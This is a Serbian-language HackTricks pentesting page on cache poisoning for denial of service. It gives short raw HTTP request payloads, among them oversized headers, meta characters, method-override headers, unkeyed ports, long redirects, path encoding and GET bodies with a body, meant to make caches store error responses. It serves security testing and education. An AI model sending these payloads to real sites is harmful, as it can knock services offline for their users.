hacktricks/pentesting-web/cache-deception/cache-poisoning-to-dos.md

6.3 KiB

Trovanje keša za DoS

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

{% hint style="danger" %} Na ovoj stranici možete pronaći različite varijacije za pokušaj da se veb server odgovori sa greškama na zahteve koji su validni za keš servere {% endhint %}

  • Prekoračenje HTTP zaglavlja (HHO)

Pošaljite zahtev sa veličinom zaglavlja većom od one koju podržava veb server, ali manjom od one koju podržava keš server. Veb server će odgovoriti sa 400 odgovorom koji može biti keširan:

GET / HTTP/1.1
Host: redacted.com
X-Oversize-Hedear:Big-Value-000000000000000
  • HTTP Meta Karakter (HMC) & Neočekivane vrednosti

Pošaljite zaglavlje koje sadrži neke štetne meta karaktere kao što su \n i \r. Da bi napad uspeo, prvo morate zaobići keš.

GET / HTTP/1.1
Host: redacted.com
X-Meta-Hedear:Bad Chars\n \r

Loše konfigurisan zaglavlje može biti samo \: kao zaglavlje.

Ovo takođe može raditi ako se šalju neočekivane vrednosti, poput neočekivanog Content-Type:

GET /anas/repos HTTP/2
Host: redacted.com
Content-Type: HelloWorld
  • Neindeksirani zaglavlje

Neke veb lokacije će vratiti statusni kod greške ako vide određena zaglavlja u zahtevu, kao što je zaglavlje X-Amz-Website-Location-Redirect: nešto:

GET /app.js HTTP/2
Host: redacted.com
X-Amz-Website-Location-Redirect: someThing

HTTP/2 403 Forbidden
Cache: hit

Invalid Header
  • Napad preko zamene HTTP metoda (HMO)

Ako server podržava promenu HTTP metoda pomoću zaglavlja poput X-HTTP-Method-Override, X-HTTP-Method ili X-Method-Override. Moguće je zatražiti validnu stranicu menjajući metod koji server ne podržava, što može rezultirati lošim odgovorom koji se kešira:

GET /blogs HTTP/1.1
Host: redacted.com
HTTP-Method-Override: POST
  • Neključani port

Ako se port u zaglavlju Host odražava u odgovoru i nije uključen u ključ keša, moguće je preusmeriti ga na nekorišćeni port:

GET /index.html HTTP/1.1
Host: redacted.com:1

HTTP/1.1 301 Moved Permanently
Location: https://redacted.com:1/en/index.html
Cache: miss
  • Dugačko preusmeravanje DoS

Kao u sledećem primeru, x nije keširan, pa napadač može zloupotrebiti ponašanje odgovora preusmeravanja kako bi naterao preusmeravanje da pošalje URL koji je toliko veliki da izaziva grešku. Zatim, ljudi koji pokušavaju da pristupe URL-u bez neke keširane x ključne reči dobiće odgovor o grešci:

GET /login?x=veryLongUrl HTTP/1.1
Host: www.cloudflare.com

HTTP/1.1 301 Moved Permanently
Location: /login/?x=veryLongUrl
Cache: hit

GET /login/?x=veryLongUrl HTTP/1.1
Host: www.cloudflare.com

HTTP/1.1 414 Request-URI Too Large
CF-Cache-Status: miss
  • Normalizacija slučaja zaglavlja domaćina

Zaglavlje domaćina treba da bude neosetljivo na veličinu slova, ali neki veb sajtovi očekuju da bude malim slovima i vraćaju grešku ako nije:

GET /img.png HTTP/1.1
Host: Cdn.redacted.com

HTTP/1.1 404 Not Found
Cache:miss

Not Found
  • Normalizacija putanje

Neke stranice će vratiti kodove grešaka slanjem podataka URLenkodiranih u putanji, međutim, keš server će URLdekodirati putanju i sačuvati odgovor za URLdekodiranu putanju:

GET /api/v1%2e1/user HTTP/1.1
Host: redacted.com


HTTP/1.1 404 Not Found
Cach:miss

Not Found
  • Debeli Get

Neke keš servere, poput Cloudflare-a, ili veb servere, zaustavljaju GET zahteve sa telom, pa bi ovo moglo biti zloupotrebljeno da bi se keširao nevažeći odgovor:

GET /index.html HTTP/2
Host: redacted.com
Content-Length: 3

xyz


HTTP/2 403 Forbidden
Cache: hit

Reference

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u: